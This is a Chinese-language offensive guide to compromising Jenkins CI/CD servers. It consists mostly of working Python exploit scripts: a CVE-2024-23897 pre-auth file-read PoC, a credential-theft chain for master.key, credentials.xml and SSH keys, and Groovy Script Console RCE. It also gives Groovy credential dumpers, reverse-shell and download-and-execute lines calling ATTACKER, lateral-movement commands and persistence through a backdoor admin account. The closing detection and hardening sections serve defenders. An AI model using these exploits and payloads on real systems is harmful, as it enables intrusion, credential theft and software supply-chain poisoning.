Jenkins CI/CD 任意文件读取 Groovy RCE 供应链投毒 CVE漏洞链利用技术

0x00 攻击面总览

Jenkins 是全球使用最广泛的开源 CI/CD 自动化平台,承载代码构建、测试、部署的全流程自动化。Jenkins 服务器存储源代码仓库凭据、云服务商密钥、代码签名证书、部署令牌等核心资产,一旦攻破,攻击者可直接投毒软件供应链——在构建产物中植入后门,以合法发布流程将恶意代码推送到生产环境:

攻击面默认端口风险等级说明
Jenkins CLI8080/443严重CVE-2024-23897 预认证任意文件读取,CVSS 9.8
Groovy Script Console8080/443严重管理员认证后直接 RCE,无需插件
Agent Remoting 协议50000严重CVE-2024-43044 Agent 信任边界违反,Agent 端 RCE
Pipeline / Jenkinsfile8080/443严重Pipeline 投毒 = 供应链攻击
凭据存储 (Credentials)8080/443严重master.key + credentials.xml 解密链
插件生态8080/443高危数百个插件持续暴露 RCE/SSRF/认证绕过
管理 GUI8080/443高危弱口令、默认凭据、CSRF
JNLP Agent 端口50000高危未加密通信、MitM 注入

Jenkins 的安全问题极其危险——它同时持有源代码、构建密钥、部署凭据和云服务商令牌,攻破 Jenkins 等于获得了整个软件供应链的"上帝权限"。

0x01 服务识别与版本探测

1.1 指纹识别

nmap -sV -p 8080,443,50000 <target>

curl -skI http://<target>:8080/
# X-Jenkins: 2.442
# X-Instance-Identity: ...

curl -sk http://<target>:8080/login
# Jenkins 登录页面

curl -sk http://<target>:8080/cli
# Jenkins CLI 端点

curl -sk http://<target>:8080/jnlpJars/jenkins-cli.jar -o jenkins-cli.jar
# 下载 CLI 工具

1.2 关键路径与端口映射

8080   — Jenkins Web GUI (HTTP)
443    — Jenkins Web GUI (HTTPS, 反向代理)
50000  — JNLP Agent 通信端口

1.3 关键 URL 路径

/login                                     — 登录页面
/cli                                       — CLI 端点 (CVE-2024-23897 入口)
/script                                    — Groovy Script Console (RCE)
/configure                                 — 系统配置
/credentials/                              — 凭据管理
/manage                                    — 管理面板
/pluginManager/                            — 插件管理
/env-vars/                                 — 环境变量
/api/json                                  — REST API
/computer/                                 — Agent 节点管理
/job/                                      — 任务列表
/view/                                     — 视图
/restart                                   — 重启 Jenkins
/jnlpJars/jenkins-cli.jar                  — CLI 工具下载
/jnlpJars/jenkins-war                      — WAR 包下载

1.4 版本探测

import requests
import re

def detect_jenkins(host, port=8080):
    base_url = f"http://{host}:{port}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}

    print(f"[*] Scanning Jenkins at {base_url}")

    try:
        resp = requests.get(f"{base_url}/login", headers=headers, timeout=10, allow_redirects=False)
        print(f"[*] GET /login -> HTTP {resp.status_code}")

        jenkins_ver = resp.headers.get("X-Jenkins", "")
        if jenkins_ver:
            print(f"[+] Jenkins Version: {jenkins_ver}")
            parts = jenkins_ver.split(".")
            major = int(parts[0]) if len(parts) > 0 else 0
            minor = int(parts[1]) if len(parts) > 1 else 0
            if major == 2 and minor < 442:
                print("[!] Version < 2.442 — VULNERABLE to CVE-2024-23897")
            if major == 2 and minor < 471:
                print("[!] Version < 2.471 — VULNERABLE to CVE-2024-43044")

        identity = resp.headers.get("X-Instance-Identity", "")
        if identity:
            print(f"[+] Instance Identity present")
    except Exception:
        pass

    endpoints = ["/cli", "/script", "/api/json", "/credentials/"]
    for ep in endpoints:
        try:
            resp = requests.get(f"{base_url}{ep}", headers=headers, timeout=10, allow_redirects=False)
            status = resp.status_code
            marker = ""
            if status == 200:
                marker = " [ACCESSIBLE]"
            elif status == 403:
                marker = " [AUTH REQUIRED]"
            print(f"[+] {ep} -> HTTP {status}{marker}")
        except Exception:
            pass

    try:
        resp = requests.get(f"{base_url}/api/json", headers=headers, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            print(f"[+] Jenkins Mode: {data.get('mode', 'unknown')}")
            print(f"[+] Node Name: {data.get('nodeName', 'unknown')}")
            num_jobs = len(data.get("jobs", []))
            print(f"[+] Jobs Count: {num_jobs}")
    except Exception:
        pass

detect_jenkins("192.168.1.1")

0x02 CVE-2024-23897 — 预认证任意文件读取

2.1 漏洞原理

CVSS: 9.8(严重)| CISA KEV: 2024-02 纳入

影响版本: Jenkins < 2.442, LTS < 2.426.3

漏洞原理: Jenkins CLI 使用 args4j 库进行命令行参数解析。args4j 有一个特性:以 @ 开头的参数被视为文件引用,库会读取该文件内容并将每行作为独立参数。当 CLI 请求通过 HTTP 发送时,@filename 展开在服务端执行,且发生在认证检查之前。攻击者可发送包含 @/etc/passwd 的 CLI 请求,Jenkins 会读取该文件并将内容包含在错误消息中返回。

根本原因: args4j 库的 @file 参数展开功能被暴露在网络协议中,且 CLI 端点默认接受未认证连接。

高价值目标文件:

文件路径用途
/etc/passwd系统用户枚举
/etc/shadow密码哈希(如可读)
$JENKINS_HOME/secrets/master.keyJenkins 主加密密钥
$JENKINS_HOME/credentials.xml存储的凭据(用 master.key 加密)
$JENKINS_HOME/.ssh/id_rsaSSH 私钥
/proc/self/environ环境变量(可能包含密钥)
$JENKINS_HOME/config.xmlJenkins 配置
~/.aws/credentialsAWS 凭据
K8s serviceaccount token容器编排凭据

2.2 PoC — 任意文件读取

import requests
import uuid
import sys
import struct

def exploit_cve_2024_23897(host, port=8080, file_path="/etc/passwd"):
    base_url = f"http://{host}:{port}"
    session_id = str(uuid.uuid4())

    print(f"[*] CVE-2024-23897 — Jenkins Arbitrary File Read")
    print(f"[*] Target: {base_url}")
    print(f"[*] File: {file_path}")

    cli_url = f"{base_url}/cli"

    headers = {
        "Content-Type": "application/x-www-form-urlencoded",
        "Session": session_id,
        "Side": "download",
    }

    payload = f"@{file_path}"

    try:
        resp = requests.post(
            cli_url,
            headers=headers,
            data=payload.encode("utf-8"),
            timeout=15
        )
        print(f"[*] Response: HTTP {resp.status_code} ({len(resp.text)} bytes)")

        if "root:" in resp.text or "admin:" in resp.text:
            print(f"[+] File read successful!")
            print(resp.text[:500])
        elif "No such file" in resp.text:
            print(f"[-] File not found: {file_path}")
        elif len(resp.text) > 0:
            print(f"[*] Response content:")
            print(resp.text[:500])
        else:
            print(f"[-] Empty response")
    except Exception as e:
        print(f"[-] Error: {e}")

    print(f"\n[*] Attempting via jenkins-cli.jar method...")
    try:
        resp2 = requests.get(
            f"{base_url}/jnlpJars/jenkins-cli.jar",
            timeout=10
        )
        if resp2.status_code == 200:
            print(f"[+] jenkins-cli.jar downloadable ({len(resp2.content)} bytes)")
            print(f"[+] Use: java -jar jenkins-cli.jar -s {base_url}/ -http connect-server \"@{file_path}\"")
    except Exception:
        pass

exploit_cve_2024_23897("192.168.1.1", file_path="/etc/passwd")

2.3 PoC — 凭据窃取链(文件读取 → 解密 → RCE)

import requests
import base64
import re

def exploit_jenkins_credential_chain(host, port=8080):
    base_url = f"http://{host}:{port}"

    print(f"[*] Jenkins Credential Theft Chain")
    print(f"[*] Target: {base_url}")

    target_files = [
        "/var/jenkins_home/secrets/master.key",
        "/var/jenkins_home/credentials.xml",
        "/var/jenkins_home/secrets/hudson.util.Secret",
        "/var/jenkins_home/.ssh/id_rsa",
        "/var/jenkins_home/config.xml",
        "/var/lib/jenkins/secrets/master.key",
        "/var/lib/jenkins/credentials.xml",
        "/root/.ssh/id_rsa",
        "/proc/self/environ",
    ]

    print("[*] Stage 1: Reading critical files via CVE-2024-23897...")
    for fpath in target_files:
        try:
            session_id = str(__import__("uuid").uuid4())
            resp = requests.post(
                f"{base_url}/cli",
                headers={
                    "Content-Type": "application/x-www-form-urlencoded",
                    "Session": session_id,
                    "Side": "download",
                },
                data=f"@{fpath}".encode("utf-8"),
                timeout=15
            )
            if len(resp.text) > 0 and "No such file" not in resp.text:
                print(f"[+] READ {fpath} ({len(resp.text)} bytes)")
                if "master.key" in fpath:
                    print(f"    Master key: {resp.text[:64].strip()}")
                elif "credentials.xml" in fpath:
                    encrypted = re.findall(r'<secret>([^<]+)</secret>', resp.text)
                    if encrypted:
                        print(f"    Found {len(encrypted)} encrypted credentials")
                elif "id_rsa" in fpath:
                    if "BEGIN" in resp.text:
                        print(f"    SSH private key extracted!")
            else:
                print(f"[-] NOT FOUND: {fpath}")
        except Exception:
            pass

    print("[*] Stage 2: Attempting credential decryption...")
    print("[*] If master.key + credentials.xml obtained:")
    print("[*]   1. Decode base64 encrypted values from credentials.xml")
    print("[*]   2. Use hudson.util.Secret decryption (AES-128-ECB)")
    print("[*]   3. Magic header: '::::MAGIC::::'")
    print("[*]   4. Decrypted values = plaintext passwords/API tokens")

    print("[*] Stage 3: Using stolen credentials for RCE...")
    print("[*]   POST /script with Groovy: \"whoami\".execute().text")
    print("[*]   Or create malicious Pipeline job")

exploit_jenkins_credential_chain("192.168.1.1")

0x03 Groovy Script Console RCE

3.1 漏洞原理

Jenkins 内置 Groovy Script Console(/script),允许管理员在 Jenkins JVM 中执行任意 Groovy 代码。这是一个设计特性而非漏洞,但在以下场景中成为致命攻击面:

  • 管理员使用弱口令或默认凭据
  • 通过 CVE-2024-23897 窃取管理员凭据
  • 通过插件漏洞获取管理员权限
  • CSRF 攻击诱导管理员访问恶意页面

3.2 PoC — Script Console RCE

import requests
import re

def exploit_groovy_rce(host, port=8080, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"

    print(f"[*] Jenkins Groovy Script Console RCE")
    print(f"[*] Target: {base_url}")

    session = requests.Session()

    print("[*] Stage 1: Authenticating...")
    try:
        resp = session.get(f"{base_url}/login", timeout=10)
        csrf_match = re.search(r'name="Jenkins-Crumb" value="([^"]+)"', resp.text)
        crumb = csrf_match.group(1) if csrf_match else ""

        resp = session.post(
            f"{base_url}/j_spring_security_check",
            data={"j_username": username, "j_password": password, "Submit": "Sign in"},
            headers={"Jenkins-Crumb": crumb},
            allow_redirects=False,
            timeout=10
        )
        if resp.status_code in [302, 200]:
            print(f"[+] Authentication successful")
    except Exception:
        pass

    print("[*] Stage 2: Executing Groovy code...")
    groovy_payloads = [
        ('"whoami".execute().text', "System identification"),
        ('"id".execute().text', "User context"),
        ('"hostname".execute().text', "Hostname"),
        ('"cat /etc/os-release".execute().text', "OS info"),
        ('System.getenv().collect{it.toString()}.join("\\n")', "Environment variables"),
    ]

    for payload, desc in groovy_payloads:
        try:
            resp = session.post(
                f"{base_url}/script",
                data={"script": payload, "Jenkins-Crumb": crumb},
                headers={"Jenkins-Crumb": crumb},
                timeout=15
            )
            result_match = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
            if result_match:
                result = result_match.group(1).strip()
                print(f"[+] {desc}: {result[:200]}")
            else:
                print(f"[-] {desc}: No result (auth required or error)")
        except Exception:
            pass

    print("[*] Stage 3: Advanced Groovy payloads...")
    print("[*] Reverse shell:")
    print('[*]   def cmd = "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')
    print('[*]   def proc = cmd.execute()')
    print("[*]")
    print("[*] Download & execute:")
    print('[*]   "wget http://ATTACKER/shell.sh -O /tmp/s.sh".execute()')
    print('[*]   "chmod +x /tmp/s.sh && /tmp/s.sh".execute()')
    print("[*]")
    print("[*] Read files:")
    print('[*]   new File("/etc/passwd").text')
    print("[*]")
    print("[*] List all credentials:")
    print('[*]   import com.cloudbees.plugins.credentials.*')
    print('[*]   CredentialsProvider.lookupCredentials(')
    print('[*]     com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class')
    print('[*]   ).each { println("${it.username}:${it.password}") }')

exploit_groovy_rce("192.168.1.1")

0x04 CVE-2024-43044 — Agent 协议信任违反

4.1 漏洞原理

CVSS: 8.4(高危)

影响版本: Jenkins < 2.471, LTS < 2.452.4

漏洞原理: Jenkins 使用 Remoting 协议在 Controller 和 Agent 之间通信。该协议本质上信任来自 Controller 的所有消息,Agent 不验证命令来源的真实性。这创造三种攻击向量:

  • 向量一: Controller 被攻破 — 攻击者控制 Controller 后可向所有 Agent 发送任意命令
  • 向量二: 中间人攻击 — Agent 使用未加密 TCP(默认端口 50000)通信时,网络层攻击者可注入恶意命令
  • 向量三: 伪造 Controller — 攻击者冒充 Controller 连接 Agent 并执行任意代码

4.2 PoC — Agent 端口探测

import socket
import struct

def probe_jenkins_agent(host, port=50000):
    print(f"[*] CVE-2024-43044 — Jenkins Agent Protocol Probe")
    print(f"[*] Target: {host}:{port}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((host, port))

        response = sock.recv(1024)
        print(f"[+] Agent port open — received {len(response)} bytes")
        print(f"[+] Response (hex): {response.hex()}")

        if len(response) > 0:
            print(f"[!] Agent accepted connection from unauthorized source")
            print(f"[!] VULNERABLE to CVE-2024-43044 (trust boundary)")
        sock.close()
    except socket.timeout:
        print(f"[-] Connection timeout — port may be filtered")
    except ConnectionRefusedError:
        print(f"[-] Connection refused — agent port not listening")
    except Exception as e:
        print(f"[-] Error: {e}")

    print(f"\n[*] Checking if agent traffic is encrypted...")
    try:
        import ssl
        context = ssl.create_default_context()
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        ssl_sock = context.wrap_socket(sock, server_hostname=host)
        ssl_sock.connect((host, port))
        print(f"[+] Agent port uses TLS — encrypted communication")
        ssl_sock.close()
    except ssl.SSLError:
        print(f"[!] Agent port does NOT use TLS — unencrypted remoting traffic!")
        print(f"[!] Vulnerable to MitM injection")
    except Exception:
        print(f"[*] TLS check inconclusive")

probe_jenkins_agent("192.168.1.1")

0x05 Pipeline 供应链投毒

5.1 攻击原理

Jenkins Pipeline 是软件供应链的核心环节。攻击者一旦获得 Jenkins 管理员权限,可修改 Pipeline 配置或 Jenkinsfile,在构建产物中植入后门:

修改 Pipeline → 构建时注入后门 → 产物通过正常发布流程部署 → 生产环境被攻陷

5.2 PoC — Pipeline 投毒检测

import requests
import re

def detect_pipeline_poisoning(host, port=8080, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"

    print(f"[*] Jenkins Pipeline Supply Chain Poisoning Detection")
    print(f"[*] Target: {base_url}")

    session = requests.Session()
    session.auth = (username, password)

    print("[*] Stage 1: Enumerating jobs...")
    try:
        resp = session.get(f"{base_url}/api/json?tree=jobs[name,url,color]", timeout=10)
        if resp.status_code == 200:
            jobs = resp.json().get("jobs", [])
            print(f"[+] Found {len(jobs)} jobs")
            for job in jobs:
                print(f"    - {job['name']} ({job.get('color', 'unknown')})")
    except Exception:
        pass

    print("[*] Stage 2: Checking Pipeline configurations...")
    suspicious_patterns = [
        "curl.*-d.*@",
        "wget.*http",
        "base64.*-d",
        "nc.*-e",
        "/dev/tcp/",
        "bash.*-i",
        "python.*-c",
        "eval\\(",
        "exec\\(",
        "Runtime.getRuntime",
        "ProcessBuilder",
    ]

    try:
        resp = session.get(f"{base_url}/api/json?tree=jobs[name,url]", timeout=10)
        if resp.status_code == 200:
            jobs = resp.json().get("jobs", [])
            for job in jobs[:20]:
                job_name = job["name"]
                try:
                    config_resp = session.get(
                        f"{base_url}/job/{job_name}/config.xml",
                        timeout=10
                    )
                    if config_resp.status_code == 200:
                        config = config_resp.text
                        for pattern in suspicious_patterns:
                            if re.search(pattern, config):
                                print(f"[!] SUSPICIOUS: {job_name} matches pattern: {pattern}")
                except Exception:
                    pass
    except Exception:
        pass

    print("[*] Stage 3: Checking for recently modified pipelines...")
    print("[*]   Compare build artifact hashes against known-good baselines")
    print("[*]   Review Jenkinsfile changes in SCM for unauthorized modifications")
    print("[*]   Check for new 'sh' steps in Pipeline configurations")

detect_pipeline_poisoning("192.168.1.1")

0x06 后利用技术

6.1 凭据提取

import requests
import re

def extract_jenkins_credentials(host, port=8080, username="admin", password="admin"):
    base_url = f"http://{host}:{port}"
    session = requests.Session()
    session.auth = (username, password)

    print(f"[*] Jenkins Credential Extraction")
    print(f"[*] Target: {base_url}")

    print("[*] Stage 1: Extracting environment variables...")
    try:
        resp = session.post(
            f"{base_url}/script",
            data={"script": 'System.getenv().collect{it.toString()}.join("\\n")'},
            timeout=15
        )
        result = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
        if result:
            env_vars = result.group(1).strip()
            print(f"[+] Environment variables:\n{env_vars[:500]}")
    except Exception:
        pass

    print("[*] Stage 2: Extracting stored credentials...")
    cred_script = """
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.common.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
import org.jenkinsci.plugins.plaincredentials.*

def creds = CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class
)
creds.each {
    println("User: ${it.username} | Pass: ${it.password}")
}

def sshCreds = CredentialsProvider.lookupCredentials(
    BasicSSHUserPrivateKey.class
)
sshCreds.each {
    println("SSH: ${it.username} | Key: ${it.privateKey?.take(100)}")
}

def secretCreds = CredentialsProvider.lookupCredentials(
    StringCredentials.class
)
secretCreds.each {
    println("Secret: ${it.secret}")
}
"""
    try:
        resp = session.post(
            f"{base_url}/script",
            data={"script": cred_script},
            timeout=15
        )
        result = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
        if result:
            print(f"[+] Credentials:\n{result.group(1).strip()[:500]}")
    except Exception:
        pass

    print("[*] Stage 3: Extracting cloud credentials...")
    cloud_script = """
def envVars = System.getenv()
['AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY', 'AZURE_CLIENT_SECRET',
 'GOOGLE_APPLICATION_CREDENTIALS', 'DOCKER_PASSWORD', 'GITHUB_TOKEN',
 'NPM_TOKEN', 'PYPI_PASSWORD'].each { key ->
    if (envVars[key]) {
        println("${key} = ${envVars[key]}")
    }
}
"""
    try:
        resp = session.post(
            f"{base_url}/script",
            data={"script": cloud_script},
            timeout=15
        )
        result = re.search(r'<pre class="result">(.*?)</pre>', resp.text, re.DOTALL)
        if result:
            cloud_creds = result.group(1).strip()
            if cloud_creds:
                print(f"[+] Cloud credentials found:\n{cloud_creds}")
    except Exception:
        pass

extract_jenkins_credentials("192.168.1.1")

6.2 横向移动

# 使用窃取的 SSH 密钥访问构建 Agent
ssh -i extracted_id_rsa build-agent@10.0.0.50

# 使用窃取的 AWS 凭据访问云环境
export AWS_ACCESS_KEY_ID=STOLEN_KEY
export AWS_SECRET_ACCESS_KEY=STOLEN_SECRET
aws s3 ls
aws ec2 describe-instances

# 使用窃取的 Docker 凭据拉取/推送镜像
docker login -u admin -p STOLEN_PASSWORD registry.internal.com
docker pull registry.internal.com/production/app:latest

# 使用窃取的 K8s token 访问集群
kubectl --server=https://k8s.internal:6443 \
  --token=STOLEN_TOKEN get pods --all-namespaces

6.3 持久化

// Jenkins Script Console 持久化

// 1. 创建隐藏管理员账户
import jenkins.model.*
import hudson.security.*
def realm = Jenkins.instance.getSecurityRealm()
if (realm instanceof HudsonPrivateSecurityRealm) {
    realm.createAccount("backdoor", "P@ssw0rd123")
}

// 2. 创建定时反弹 Shell Pipeline
def job = Jenkins.instance.createProject(FreeStyleProject, "health-check")
job.buildersList.add(new hudson.tasks.Shell(
    "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
))
job.schedule.build(new hudson.model.CauseAction())

// 3. 安装恶意插件
// 上传包含后门代码的 .hpi 插件文件

0x07 漏洞组合攻击链

7.1 攻击链一: 文件读取 → 凭据解密 → Script Console RCE

CVE-2024-23897 (任意文件读取)
    ↓ @/var/jenkins_home/secrets/master.key
    ↓ @/var/jenkins_home/credentials.xml
提取 master.key + credentials.xml
    ↓ AES-128-ECB 解密 (::::MAGIC::::)
解密管理员凭据
    ↓ 登录 Jenkins 管理面板
Groovy Script Console RCE
    ↓ "whoami".execute().text
完全控制 Jenkins 服务器

7.2 攻击链二: 文件读取 → SSH 密钥 → Agent 横向移动

CVE-2024-23897 (任意文件读取)
    ↓ @/var/jenkins_home/.ssh/id_rsa
提取 SSH 私钥
    ↓ 使用私钥连接构建 Agent
Agent 节点接管
    ↓ 窃取源代码、构建产物、部署凭据
供应链攻击
    ↓ 修改构建产物 / 注入后门

7.3 攻击链三: 弱口令 → Pipeline 投毒 → 生产环境攻陷

弱口令 / 默认凭据
    ↓ admin:admin 登录 Jenkins
修改 Pipeline 配置
    ↓ 在构建步骤中注入后门代码
正常构建流程
    ↓ 后门代码被编译到产物中
部署到生产环境
    ↓ 生产系统被攻陷

7.4 攻击链四: Agent 信任违反 → 全集群 RCE

CVE-2024-43044 (Agent 协议信任)
    ↓ Controller 被攻破 / MitM / 伪造 Controller
向所有 Agent 发送恶意命令
    ↓ Remoting 协议无加密无签名
全集群 RCE
    ↓ 所有 Agent 节点执行攻击者代码
供应链全面沦陷
    ↓ 源代码 + 构建产物 + 部署流水线

7.5 APT 威胁组织 TTP

威胁组织类型使用的技术技术特征
SUNSPOT (SolarWinds)国家级 APTPipeline 投毒修改构建配置注入后门代码
多个勒索组织勒索组织CVE-2024-23897文件读取 → 凭据窃取 → 勒索部署
供应链攻击组织APTJenkins 凭据窃取窃取代码签名证书 / 部署密钥

0x08 历史 CVE 漏洞时间线

2017-2019 — 早期漏洞

CVE 编号年份CVSS类型影响
CVE-2017-100035320178.0反序列化Jenkins CLI 反序列化 RCE
CVE-2018-100086120189.8认证绕过Stapler 路由绕过 RCE
CVE-2019-100300020196.8沙箱绕过Groovy 沙箱逃逸
CVE-2019-100302920196.8沙箱绕过Groovy 沙箱逃逸

2024 — 高危爆发

CVE 编号年份CVSS类型影响
CVE-2024-2389720249.8任意文件读取CLI args4j @file 展开,CISA KEV
CVE-2024-4304420248.4信任违反Agent Remoting 协议信任边界
CVE-2024-4304520248.4信任违反Agent 消息注入

漏洞类型分布

漏洞类型CVE 数量代表性 CVE
RCE / 反序列化3CVE-2017-1000353, CVE-2018-1000861
认证绕过2CVE-2018-1000861
沙箱逃逸4CVE-2019-1003000, CVE-2019-1003029
任意文件读取1CVE-2024-23897
信任违反2CVE-2024-43044, CVE-2024-43045

0x09 蓝队检测与应急响应

9.1 日志分析

# Jenkins 访问日志
grep "POST /cli" /var/log/jenkins/access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# 检测 CVE-2024-23897 特征
grep -E "@(/etc/|/var/|/proc/|/root/)" /var/log/jenkins/access.log

# 检测 Script Console 使用
grep "POST /script" /var/log/jenkins/access.log | awk '{print $1, $4}' | sort

# 检测异常 Agent 连接
grep "Agent connected" $JENKINS_HOME/logs/all_jenkins.log | awk '{print $NF}' | sort | uniq -c

# 检测 Pipeline 异常修改
grep "config.xml" /var/log/jenkins/access.log | grep "POST" | head -20

# 检测凭据访问
grep "credentials" /var/log/jenkins/access.log | head -20

9.2 应急响应清单

[ ] 确认 Jenkins 版本
    - 检查 X-Jenkins Header
    - 对比安全公告

[ ] 排查 CVE-2024-23897 (任意文件读取)
    - 检查 /cli 端点异常访问
    - 搜索 @/etc/passwd 等文件读取特征
    - 检查 master.key 和 credentials.xml 是否泄露
    - 如已泄露:立即轮换所有凭据

[ ] 排查 Groovy Script Console 滥用
    - 检查 /script 端点访问记录
    - 审查所有 Groovy 脚本执行历史
    - 检查是否有新建的恶意 Pipeline

[ ] 排查 Agent 协议安全
    - 检查端口 50000 的连接来源
    - 确认 Agent 通信是否使用 TLS
    - 检查是否有未授权的 Agent 连接

[ ] 排查供应链投毒
    - 对比构建产物哈希与已知安全基线
    - 审查 Jenkinsfile 最近修改
    - 检查 Pipeline 配置中的异常 sh/bat 步骤

[ ] 网络隔离与加固
    - 立即升级 Jenkins 到最新版本
    - 禁用 CLI 端点 (jenkins.CLI.disabled=true)
    - 限制 Script Console 访问
    - Agent 端口启用 TLS
    - 轮换所有存储的凭据

0x0A 安全审计清单

[ ] Jenkins 已升级到最新版本 (>= 2.471 / LTS >= 2.452.4)
[ ] CLI 端点已禁用或限制访问
[ ] Groovy Script Console 仅限必要管理员访问
[ ] Agent 通信已启用 TLS 加密
[ ] Agent 端口 (50000) 已限制为 Controller IP
[ ] 已禁用不安全的 Agent 协议
[ ] 管理员使用强密码 + MFA
[ ] 默认 admin 凭据已修改
[ ] 已启用 Jenkins 审计日志插件
[ ] 凭据存储已加密且定期轮换
[ ] Pipeline 配置变更已启用审批流程
[ ] 构建产物哈希已建立基线并定期校验
[ ] 已配置 SIEM 规则检测异常 CLI/Script/Pipeline 活动
[ ] Jenkins 服务器已网络隔离
[ ] Jenkins 不直接暴露于互联网
[ ] 已订阅 Jenkins 安全公告通知
[ ] 已建立 Jenkins 应急响应预案
[ ] 插件已定期更新并审查权限
[ ] Groovy 沙箱已启用(非管理员 Pipeline)
[ ] CSRF 保护已启用

0x0B 总结

Jenkins 的安全问题核心在于"CI/CD 平台的超高价值属性"与"默认配置的过度信任":

  1. CVE-2024-23897 的毁灭性影响: 一个 args4j 库的 @file 参数展开特性,让攻击者无需认证即可读取 Jenkins 服务器上的任意文件——包括 master.key 和 credentials.xml,直接解锁整个凭据库
  2. Script Console 的双刃剑: Groovy Script Console 是 Jenkins 最强大的管理工具,但也是攻击者的终极武器——一旦获得管理员权限,一行 Groovy 代码即可 RCE
  3. 供应链攻击的核心节点: Jenkins 持有源代码、构建密钥、部署凭据和云服务商令牌,Pipeline 投毒可将后门代码以合法发布流程推送到生产环境,SUNSPOT (SolarWinds) 事件已证明这是国家级 APT 的首选攻击路径
  4. Agent 协议的信任缺陷: CVE-2024-43044 揭示了 Jenkins Remoting 协议的根本性设计缺陷——Agent 无条件信任 Controller 的所有指令,无加密无签名

防守方核心策略:

  • 立即升级: Jenkins 必须在安全公告发布后第一时间更新
  • 禁用 CLI: 设置 jenkins.CLI.disabled=true,消除 CVE-2024-23897 攻击面
  • 限制 Script Console: 仅限必要管理员访问,启用审计日志
  • Agent TLS: 所有 Agent 通信必须使用 TLS 加密,禁用明文协议
  • 凭据轮换: 定期轮换 Jenkins 中存储的所有凭据,使用外部密钥管理系统
  • Pipeline 审计: 启用 Pipeline 配置变更审批流程,建立构建产物哈希基线
  • 网络隔离: Jenkins 绝对不直接暴露于互联网,Agent 端口仅限 Controller IP
  • 供应链监控: 对比构建产物哈希、审查 Jenkinsfile 变更、监控异常 sh/bat 步骤